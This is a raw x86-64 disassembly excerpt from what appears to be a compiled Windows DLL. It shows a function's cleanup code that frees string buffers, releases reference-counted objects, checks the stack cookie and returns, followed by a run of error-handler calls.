mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f4e
call fcn.1800cd020
mov rdx, qword [rbp + 0x80]
mov qword [rbp + 0x1d8], r15
mov qword [rbp + 0x1e0], 0xf
mov byte [rbp + 0x1c8], r15b
cmp rdx, 0x10
jb 0x18009291a
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092915
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f4e
call fcn.1800cd020
mov rdx, qword [rbp + 0xa0]
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], r15b
cmp rdx, 0x10
jb 0x18009296e
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092969
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f4e
call fcn.1800cd020
mov rdx, qword [rbp + 0xc0]
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], r15b
cmp rdx, 0x10
jb 0x1800929c8
mov rcx, qword [rbp + 0xa8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800929c3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f4e
call fcn.1800cd020
mov rdx, qword [rbp + 0xe0]
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], r15b
cmp rdx, 0x10
jb 0x180092a22
mov rcx, qword [rbp + 0xc8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092a1d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f4e
call fcn.1800cd020
mov rdx, qword [rbp + 0x100]
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], 0xf
mov byte [rbp + 0xc8], r15b
cmp rdx, 0x10
jb 0x180092a7c
mov rcx, qword [rbp + 0xe8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092a77
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f4e
call fcn.1800cd020
mov rdx, qword [rbp - 0x20]
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], 0xf
mov byte [rbp + 0xe8], r15b
cmp rdx, 0x10
jb 0x180092ad0
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092acb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f4e
call fcn.1800cd020
xor r8d, r8d
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x328]
call fcn.1800c0190
xor r8d, r8d
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x368]
call fcn.1800c0190
xor r8d, r8d
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x348]
call fcn.1800c0190
mov r12, qword [rbp + 0x300]
mov r13, qword [rbp + 0x2f8]
inc dword [0x18012da70]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x3a0]
mov rax, rsi
mov rcx, qword [rbp + 0x3a8]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0x3e8]
sub rcx, qword [rbp + 0x390]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], r15b
je 0x180092b87
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x58], xmm0
jmp 0x180092b8f
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x58], xmm0
mov rax, qword [rbp + 0x60]
sub rax, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x320]
add rax, rcx
mov r15, qword [rbp + 0x340]
add rbx, rax
mov rax, qword [rbp + 0x308]
mov rsi, qword [rbp + 0x380]
mov rdi, qword [rbp + 0x360]
jmp 0x1800919e0
call qword [0x18012d9f0]
cmp rdi, 0x10
jb 0x180092c06
mov rcx, qword [rbp + 0x348]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092c01
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f54
call fcn.1800cd020
cmp rsi, 0x10
jb 0x180092c41
mov rcx, qword [rbp + 0x368]
lea rdx, [rsi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092c3c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f54
call fcn.1800cd020
cmp r15, 0x10
jb 0x180092c7c
mov rcx, qword [rbp + 0x328]
lea rdx, [r15 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092c77
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f54
call fcn.1800cd020
mov r8, qword [rbp + 0x3a0]
test r8, r8
je 0x180092cf8
mov rcx, qword [rbp + 0x3b0]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x180092cda
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f54
mov rcx, r8
call fcn.1800cd020
xorps xmm0, xmm0
xor esi, esi
movdqa xmmword [rbp + 0x3a0], xmm0
mov qword [rbp + 0x3b0], rsi
jmp 0x180092cfa
xor esi, esi
mov rcx, qword [rbp + 0x400]
mov rdi, 0xffffffffffffffff
test rcx, rcx
je 0x180092d41
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x180092d41
mov rbx, qword [rbp + 0x400]
test rbx, rbx
je 0x180092d41
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180092d25
mov rcx, qword [rbp + 0x420]
mov qword [rbp + 0x400], rsi
test rcx, rcx
je 0x180092d6d
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180092d6d
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x428]
test rcx, rcx
je 0x180092dad
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x180092dad
mov rbx, qword [rbp + 0x428]
test rbx, rbx
je 0x180092dad
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180092d91
mov rcx, qword [rbp + 0x448]
mov qword [rbp + 0x428], rsi
test rcx, rcx
je 0x180092dd9
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180092dd9
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x450]
test rax, rax
je 0x180092e17
lock xadd dword [rax + 0x2c], edi
cmp edi, 1
jne 0x180092e17
mov rbx, qword [rbp + 0x450]
test rbx, rbx
je 0x180092e17
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180092dfb
mov rcx, qword [rbp + 0x470]
mov qword [rbp + 0x450], rsi
test rcx, rcx
je 0x180092e43
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180092e43
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rsi, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
mov rdx, qword [rbp + 0x320]
cmp rdx, 0x10
jb 0x180092e8e
mov rcx, qword [rbp + 0x308]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092e89
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180092f18
call fcn.1800cd020
xor edi, edi
mov rbx, qword [rsp + 0x60]
movups xmm0, xmmword [rbp + 0x2e8]
movups xmm1, xmmword [rbp + 0x2f8]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov r8, qword [r15 + 0x18]
cmp r8, 0x10
jb 0x180092ec2
mov rdx, qword [r15]
inc r8
mov rcx, r15
call fcn.1800c02f0
mov rcx, rsi
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
call fcn.1800bf9e0
mov rcx, r14
call fcn.1800bf9e0
movaps xmm6, xmmword [rsp + 0x590]
movaps xmm7, xmmword [rsp + 0x580]
mov rax, rbx
mov rcx, qword [rbp + 0x478]
xor rcx, rsp
call fcn.1800ccd60
add rsp, 0x5a8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3